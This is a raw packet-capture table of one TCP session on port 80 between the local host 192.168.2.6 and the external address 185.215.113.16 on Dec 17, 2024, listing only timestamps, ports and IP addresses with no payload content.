Dec 17, 2024 10:08:54.378204107 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.378258944 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.378278017 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.378289938 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.378344059 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.378374100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.378984928 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.378995895 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.379007101 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.379040003 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.379054070 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.380018950 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.415785074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.415806055 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.415818930 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.415831089 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.415891886 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.415904045 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.415915966 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.415918112 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.415966988 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.416573048 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.416613102 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.416682959 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.416695118 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.416728973 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.416810989 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.417150974 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.417188883 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.417188883 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.417201042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.417232990 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.417285919 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.418042898 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.418095112 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.418118954 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.418138981 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.418199062 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.418282032 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.418719053 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.418756008 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.418761969 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.498395920 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.498442888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.498477936 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.498522997 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.498579025 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.498925924 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.498960018 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.498992920 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.499000072 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.499026060 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.499062061 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.499346018 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.499399900 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.499435902 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.499444962 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.499470949 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.499696970 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.500164986 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.500230074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.500262976 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.500303984 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.500468969 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.500948906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.501000881 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.501004934 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.501036882 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.501056910 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.501082897 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.501313925 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.501888990 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.501923084 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.501955986 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.501966000 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.501991034 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.502650976 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.502702951 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.502702951 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.502738953 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.502772093 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.502774954 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.502805948 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.503299952 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.521692038 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.524211884 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.559536934 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.559556007 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.559570074 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.559581041 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.559685946 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.559748888 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.559792042 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.559804916 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.559833050 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.559853077 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.560251951 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.560339928 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.560359955 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.560379982 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.560446024 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.561064005 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.561105967 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.561110973 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.561122894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.561158895 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.561280012 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.562048912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.562083006 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.562093973 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.562096119 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.562118053 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.562150955 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.562710047 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.562747002 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.562747955 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.562890053 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.562916994 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.562923908 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.562928915 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.562963963 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.563097000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.563697100 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.563749075 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.563756943 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.563769102 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.563807964 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.565121889 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.565181017 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.565191984 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.565222979 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.565253973 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.565253973 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.565577030 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.565690041 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.565818071 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.565954924 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.566028118 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.566340923 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.566384077 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.566394091 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.566431999 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.566443920 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.566483974 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.566941023 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.566951036 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.566962957 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.567006111 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.567078114 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.567131996 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.567708015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.567783117 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.567794085 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.567833900 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.567851067 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.567889929 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.568429947 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.568473101 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.568483114 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.568521976 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.568558931 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.568597078 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.569211960 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.569257975 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.569269896 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.569305897 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.569410086 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.569519997 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.570014954 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.570105076 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.570116997 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.570149899 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.570154905 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.570844889 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.570857048 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.570868015 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.570887089 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.570907116 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.607522964 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.607631922 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.607642889 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.607655048 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.607692003 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.607728958 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.607775927 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.607847929 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.607858896 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.607867956 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.607899904 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.607944965 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.608613014 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.608659983 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.608669996 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.608696938 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.608731031 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.608767033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.609412909 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.609447956 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.609457016 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.609477043 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.609508991 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.609576941 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.610207081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.610224009 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.610234022 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.610258102 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.610281944 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.610362053 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.690507889 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.690557003 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.690593004 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.690628052 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.690644979 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.690713882 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.690809965 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.690864086 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.690865040 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.690902948 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.690951109 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.691338062 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.691395044 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.691428900 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.691447973 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.691462994 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.692142010 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.692188025 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.692193985 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.692229033 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.692274094 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.692310095 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.693075895 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.693252087 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.693304062 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.693336964 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.693355083 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.693372011 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.693418980 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.693974972 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.694025993 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.694060087 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.694087982 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.694093943 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.694575071 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.694607973 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.694624901 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.694643974 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.694650888 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.694679022 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.694729090 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.751537085 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.751559019 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.751571894 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.751585960 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.751663923 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.751709938 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.751710892 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.751760006 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.751773119 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.751801014 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.752218008 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.752271891 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.752284050 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.752310038 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.752336025 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.752367020 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.753042936 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.753084898 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.753099918 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.753113985 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.753144026 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.753220081 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.753825903 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.753866911 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.753870010 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.753885031 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.753923893 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.754064083 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.754612923 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.754683971 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.754722118 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.754865885 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.754885912 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.754893064 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.754945993 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.754978895 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.755649090 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.755701065 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.755712032 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.755713940 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.755753994 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.757312059 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.757323980 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.757335901 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.757368088 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.757385969 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.757417917 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.757663965 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.757714987 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.757726908 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.757750034 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.757813931 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.758451939 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.758486986 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.758497000 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.758510113 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.758541107 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.758568048 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.759253979 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.759301901 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.759304047 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.759320974 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.759355068 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.759383917 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.760049105 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.760086060 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.760107994 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.760123968 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.760154009 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.760179996 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.760910034 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.760943890 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.760953903 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.760967016 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.760997057 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.761023045 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.761672020 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.761704922 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.761790037 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.761801958 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.761816025 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.761837006 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.761853933 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.762430906 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.762522936 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.762535095 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.762557030 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.762571096 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.762603045 CET	49774	80	192.168.2.6	185.215.113.16
Dec 17, 2024 10:08:54.763230085 CET	80	49774	185.215.113.16	192.168.2.6
Dec 17, 2024 10:08:54.763344049 CET	80	49774	185.215.113.16	192.168.2.6
